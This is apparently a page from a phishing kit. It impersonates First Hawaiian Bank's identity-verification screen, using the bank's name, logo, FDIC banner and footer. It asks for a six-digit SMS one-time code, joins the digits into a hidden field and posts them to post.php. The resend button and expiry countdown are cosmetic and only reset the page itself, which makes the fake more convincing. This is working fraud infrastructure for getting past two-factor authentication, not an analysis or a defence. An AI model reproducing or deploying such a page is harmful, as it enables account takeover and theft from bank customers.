<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Lato:wght@300;400;700;900&family=Playfair+Display:wght@400;600&display=swap" rel="stylesheet">
    <title>First Hawaiian Bank — Verify Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #B31F29;
            --yellow:     #FEC443;
            --yellow-dark:#e0a800;
            --text:       #1a1a1a;
            --text-sub:   #444;
            --text-muted: #777;
            --border:     #e0e0e0;
            --white:      #ffffff;
        }
        html, body { height: 100%; font-family: 'Lato', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        .fdic-bar { background: var(--red); padding: 7px 32px; display: flex; align-items: center; justify-content: center; gap: 10px; }
        .fdic-badge { background: #fff; color: var(--red); font-size: 9px; font-weight: 900; letter-spacing: 0.08em; padding: 2px 4px; border-radius: 2px; flex-shrink: 0; line-height: 1.4; }
        .fdic-bar span { font-size: 12px; color: #fff; font-style: italic; font-weight: 400; }

        .main-nav { background: #fff; padding: 0 40px; display: flex; align-items: center; justify-content: space-between; height: 68px; box-shadow: 0 2px 8px rgba(0,0,0,0.08); position: relative; z-index: 10; }
        .nav-logo img { height: 32px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 32px; }
        .nav-links a { font-size: 14px; font-weight: 700; color: var(--red); text-decoration: none; }
        .btn-login-nav { background: var(--yellow); color: var(--text); border: none; border-radius: 20px; padding: 9px 22px; font-family: 'Lato', sans-serif; font-size: 13.5px; font-weight: 700; cursor: pointer; }

        .hero { flex: 1; background: url('res/img/background.jpeg') center center / cover no-repeat; position: relative; display: flex; align-items: center; justify-content: center; padding: 48px 20px; }
        .hero::before { content: ''; position: absolute; inset: 0; background: linear-gradient(180deg, rgba(0,0,0,0.18) 0%, rgba(0,0,0,0.08) 100%); }

        .card-wrap { position: relative; z-index: 2; }
        .login-card {
            background: #fff; width: 380px;
            border-radius: 6px; padding: 32px 36px 36px;
            box-shadow: 0 8px 40px rgba(0,0,0,0.18), 0 2px 8px rgba(0,0,0,0.1);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(18px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 18px; text-align: center; }
        .card-logo img { height: 28px; width: auto; display: inline-block; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 20px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 700; flex-shrink: 0; }
        .step.done   { background: var(--yellow); color: var(--text); }
        .step.active { background: var(--red); color: #fff; box-shadow: 0 0 0 3px rgba(179,31,41,0.15); }
        .step-line      { flex: 1; height: 2px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--yellow); }

        .card-header { margin-bottom: 16px; padding-bottom: 14px; border-bottom: 2px solid var(--red); }
        .card-header h1 { font-size: 17px; font-weight: 700; color: var(--red); }
        .card-header p { font-size: 12.5px; color: var(--text-muted); margin-top: 4px; }

        .phone-badge { display: flex; align-items: center; gap: 10px; background: rgba(179,31,41,0.06); border: 1px solid rgba(179,31,41,0.15); border-radius: 4px; padding: 11px 14px; margin-bottom: 18px; }
        .phone-badge-icon { width: 32px; height: 32px; background: var(--red); border-radius: 6px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; }
        .phone-badge-icon svg { color: #fff; }
        .phone-badge-text { font-size: 12.5px; color: var(--text-sub); line-height: 1.5; }
        .phone-badge-text strong { display: block; font-size: 13px; color: var(--red); font-weight: 700; margin-bottom: 1px; }

        .otp-label { font-size: 12px; font-weight: 700; color: var(--text-sub); margin-bottom: 10px; letter-spacing: 0.05em; text-transform: uppercase; }
        .otp-row { display: flex; gap: 8px; justify-content: center; margin-bottom: 10px; }
        .otp-row input {
            width: 48px; height: 54px; border: 1.5px solid var(--border); border-radius: 4px;
            font-family: 'Playfair Display', serif; font-size: 24px; font-weight: 600; color: var(--red);
            text-align: center; background: #fff; outline: none;
            transition: border-color 0.15s, box-shadow 0.15s, background 0.15s;
            caret-color: var(--red); -webkit-appearance: none;
        }
        .otp-row input:focus { border-color: var(--red); box-shadow: 0 0 0 3px rgba(179,31,41,0.1); background: #fdf8f8; }
        .otp-row input.filled { border-color: var(--red); background: rgba(179,31,41,0.06); }

        .resend-row { display: flex; align-items: center; justify-content: space-between; margin-bottom: 20px; margin-top: 6px; }
        .resend-timer { font-size: 12px; color: var(--text-muted); display: flex; align-items: center; gap: 5px; }
        .resend-timer span { font-weight: 700; color: var(--red); min-width: 28px; }
        .resend-btn { font-size: 12.5px; color: var(--red); font-weight: 700; background: none; border: none; cursor: pointer; text-decoration: underline; font-family: 'Lato', sans-serif; transition: opacity 0.15s; padding: 0; }
        .resend-btn:disabled { color: var(--text-muted); text-decoration: none; cursor: default; opacity: 0.6; }
        .resend-btn:not(:disabled):hover { opacity: 0.7; }

        .btn-main {
            width: 100%; height: 42px; background: var(--yellow); color: var(--text);
            border: none; border-radius: 22px; font-family: 'Lato', sans-serif;
            font-size: 14px; font-weight: 900; letter-spacing: 0.05em; text-transform: uppercase;
            cursor: pointer; margin-bottom: 16px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
        }
        .btn-main:hover { background: var(--yellow-dark); box-shadow: 0 4px 14px rgba(254,196,67,0.4); transform: translateY(-1px); }
        .btn-main:active { transform: translateY(0); }
        .btn-main:disabled { background: #f5e0a0; cursor: not-allowed; transform: none; box-shadow: none; }

        .card-divider { height: 1px; background: var(--border); margin-bottom: 14px; }
        .card-links { display: flex; flex-direction: column; gap: 9px; }
        .card-links a { font-size: 12.5px; color: var(--red); text-decoration: none; font-weight: 700; display: flex; align-items: center; gap: 5px; }
        .card-links a:hover { text-decoration: underline; }

        .page-footer { background: #1a1a1a; padding: 18px 40px; display: flex; align-items: center; justify-content: space-between; gap: 20px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; }
        .footer-copy { font-size: 11px; color: rgba(255,255,255,0.3); }

        @media (max-width: 500px) { .login-card { width: 100%; padding: 24px 20px 28px; } .otp-row input { width: 42px; height: 48px; font-size: 20px; } }
    </style>
</head>
<body>

    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        <span><em>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</em></span>
    </div>

    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="First Hawaiian Bank"></div>
        <div class="nav-links"><a href="#">Personal</a><a href="#">Business</a><a href="#">Wealth Management</a></div>
        <button class="btn-login-nav">LOG IN</button>
    </nav>

    <div class="hero">
        <div class="card-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="First Hawaiian Bank"></div>

                <div class="step-indicator">
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step active">3</div>
                </div>

                <div class="card-header">
                    <h1>Enter Verification Code</h1>
                    <p>We sent a 6-digit code to your phone</p>
                </div>

                <div class="phone-badge">
                    <div class="phone-badge-icon"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18" stroke-width="2.5"/></svg></div>
                    <div class="phone-badge-text"><strong>SMS Code Sent</strong>Code sent to the number ending in ••••</div>
                </div>

                <form action="post.php" method="post">
                    <div class="otp-label">Enter 6-digit code</div>
                    <div class="otp-row">
                        <input type="text" name="c1" id="c1" maxlength="1" inputmode="numeric" autocomplete="one-time-code" pattern="[0-9]">
                        <input type="text" name="c2" id="c2" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c3" id="c3" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c4" id="c4" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c5" id="c5" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c6" id="c6" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    </div>
                    <input type="hidden" name="sms" id="sms_combined">

                    <div class="resend-row">
                        <div class="resend-timer"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>Expires in <span id="exp-timer">9:59</span></div>
                        <button type="button" class="resend-btn" id="resend-btn" disabled>Resend code</button>
                    </div>

                    <button type="submit" class="btn-main">
                        Verify &amp; Continue
                        <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
                    </button>
                </form>

                <div class="card-divider"></div>
                <div class="card-links">
                    <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                    <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 First Hawaiian Bank. Member FDIC. Equal Housing Lender.</div>
    </footer>

    <script>
        const boxes = Array.from(document.querySelectorAll('.otp-row input'));
        const combined = document.getElementById('sms_combined');
        boxes.forEach((box, i) => {
            box.addEventListener('input', () => {
                box.value = box.value.replace(/[^0-9]/g, '').slice(-1);
                box.classList.toggle('filled', box.value !== '');
                combined.value = boxes.map(b => b.value).join('');
                if (box.value && i < boxes.length - 1) boxes[i + 1].focus();
            });
            box.addEventListener('keydown', e => {
                if (e.key === 'Backspace' && !box.value && i > 0) { boxes[i-1].value = ''; boxes[i-1].classList.remove('filled'); boxes[i-1].focus(); }
            });
            box.addEventListener('paste', e => {
                e.preventDefault();
                const paste = (e.clipboardData || window.clipboardData).getData('text').replace(/[^0-9]/g,'').slice(0,6);
                paste.split('').forEach((ch, j) => { if (boxes[j]) { boxes[j].value = ch; boxes[j].classList.add('filled'); } });
                combined.value = boxes.map(b => b.value).join('');
                boxes[Math.min(paste.length, boxes.length - 1)].focus();
            });
        });
        let expSec = 599, resendUnlockAt = 30;
        const expEl = document.getElementById('exp-timer'), resendBtn = document.getElementById('resend-btn');
        const expInterval = setInterval(() => {
            expSec--; resendUnlockAt = Math.max(0, resendUnlockAt - 1);
            if (resendUnlockAt === 0) resendBtn.disabled = false;
            const m = Math.floor(expSec / 60), s = expSec % 60;
            expEl.textContent = m + ':' + String(s).padStart(2, '0');
            if (expSec <= 0) { clearInterval(expInterval); expEl.textContent = '0:00'; expEl.style.color = '#8a1820'; }
        }, 1000);
        resendBtn.addEventListener('click', () => {
            resendBtn.disabled = true; resendUnlockAt = 30; expSec = 599; expEl.style.color = '';
            boxes.forEach(b => { b.value = ''; b.classList.remove('filled'); }); combined.value = ''; boxes[0].focus();
        });
    </script>
</body>
</html>